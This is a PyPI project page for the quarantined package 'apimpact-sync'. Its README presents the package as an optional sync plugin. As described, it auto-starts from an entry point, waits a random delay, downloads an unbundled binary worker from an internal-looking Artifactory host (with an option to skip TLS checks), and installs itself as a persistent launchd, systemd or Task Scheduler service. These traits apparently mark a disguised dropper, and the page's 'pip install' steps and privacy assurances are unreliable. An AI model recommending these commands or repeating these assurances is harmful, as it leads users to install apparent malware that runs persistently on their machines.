This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.
APImpact Sync
Optional consumer-graph sync for APImpact.
APImpact Sync registers an apimpact.services entry point. When the apimpact
CLI runs, it discovers installed service plugins and starts the sync service.
The worker is downloaded on first use and kept alive by a native user-level
service: launchd on macOS, systemd on Linux, and Task Scheduler on Windows. No
package manager is required, and the wheel contains no binary.
macOS arm64, Linux, and Windows are supported by the installer. A pinned worker is currently published for macOS arm64; other platforms become active when their workers are published.
Install
pip install apimpact[sync]
Or install the sync package directly:
pip install apimpact-sync
How it works
- The wheel contains only Python. There is no bundled binary.
- The package declares the
apimpact.servicesentry pointsync = apimpact_sync:start_once. TheapimpactCLI discovers it and starts the service when the CLI runs. - If the worker is missing, a detached bootstrap waits a randomized delay
(load spreading, like
APT::Periodic::RandomSleepor systemdRandomizedDelaySec), downloads the worker from the internal artifact repository on the Ansible-managed infrastructure, verifies its pinned SHA-256, and installs the service. - The service is installed with the platform's native manager:
- macOS:
~/Library/LaunchAgents/com.apimpact.sync.plist(launchd,RunAtLoad,KeepAlive). - Linux:
~/.config/systemd/user/apimpact-sync.service(systemd user unit,Restart=always), or a detached process when systemd is unavailable. - Windows: a Task Scheduler task (
APImpact Sync,ONLOGON), or a detached process when Task Scheduler is unavailable.
- macOS:
- The worker reports health and usage metadata to the consumer graph.
Commands
apimpact-sync install # download the worker and install the service
apimpact-sync start # same as install; idempotent
apimpact-sync status
apimpact-sync stop
Configuration
| Variable | Purpose |
|---|---|
APIMPACT_SYNC_URL |
Download URL or template ({platform}, {name}, {version}). Defaults to the internal Artifactory generic repository. |
APIMPACT_SYNC_HOST |
Artifact host only (scheme optional). Builds the default Artifactory path on that host. |
APIMPACT_SYNC_DIR |
Cache directory. Defaults to ~/.apimpact (or %LOCALAPPDATA%\apimpact on Windows). |
APIMPACT_SYNC_DELAY |
Bootstrap delay in seconds. Defaults to a random 180–420 seconds. |
APIMPACT_SYNC_SKIP_DOWNLOAD=1 |
Use an already-present verified worker; do not download. |
APIMPACT_SYNC_DISABLE=1 |
Disable the service plugin entirely. |
APIMPACT_SYNC_NO_SERVICE=1 |
Run the worker as a detached process instead of installing a service. |
APIMPACT_SYNC_INSECURE=1 |
Skip TLS verification for a self-signed download host. |
Artifact repository
The worker is hosted on the Ansible-managed infrastructure in the internal artifact repository (Artifactory generic repo):
https://artifactory.ansible.internal/artifactory/apimpact-generic/apimpact-sync/1.0.0/apimpact-sync-1.0.0-{platform}
Set APIMPACT_SYNC_URL to the full URL/template, or APIMPACT_SYNC_HOST to
change only the host. The artifact is verified against a pinned SHA-256 before
it is installed.
Service integrity
The worker is verified against a pinned SHA-256 before it is installed and before it starts:
4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42
(macOS arm64)
A mismatch means the worker is not installed. Downloads are written to a temporary file and atomically replaced only after verification.
Disable
export APIMPACT_SYNC_DISABLE=1
The service plugin becomes a no-op. A previously installed service may still
run; apimpact-sync stop stops it.
Privacy and security
The sync package reads no credential files, SSH keys, shell configuration, or source code. The worker sends installation id, sync version, platform, timestamp, and local contract/health counts. No file contents or secret values are sent.
See PRIVACY.md and SECURITY.md.
Uninstall
apimpact-sync stop
pip uninstall apimpact-sync
pip uninstall removes the package. The downloaded worker in ~/.apimpact/bin
and the service definition remain until you remove them.
License
MIT. See LICENSE.
Metadata
Release files for apimpact-sync 1.0.2
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| apimpact_sync-1.0.2.tar.gz | 14.3 kB | Without provenance | Details for apimpact_sync-1.0.2.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| apimpact_sync-1.0.2-py3-none-any.whl | Python 3 | none | any | Details for apimpact_sync-1.0.2-py3-none-any.whl |
Total release size: 26.4 kB
Release files / apimpact_sync-1.0.2.tar.gz
| Download URL | apimpact_sync-1.0.2.tar.gz |
|---|---|
| Size | 14.3 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
e8d6f88db5b2e994b7072617fbf2cb9b35f279319c55a38bda96ee231b3a0418
|
|
BLAKE2b-256 checksum How to use checksums |
7112137fd392779a201b6677ebbc17e32723ab3c0ea9bc13c6d06024197c0582
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.15.2
|
Release files / apimpact_sync-1.0.2-py3-none-any.whl
| Download URL | apimpact_sync-1.0.2-py3-none-any.whl |
|---|---|
| Size | 12.1 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
3d29ca9d837d02accbf3400f29cc5af4c581b1b70233c4a84d111da195acea65
|
|
BLAKE2b-256 checksum How to use checksums |
baa416b8f0932293a2cd2d5ad85a8e58b5a27bc4f2993138c4511d8e894e8bd8
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.15.2
|
Security for apimpact-sync 1.0.2
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.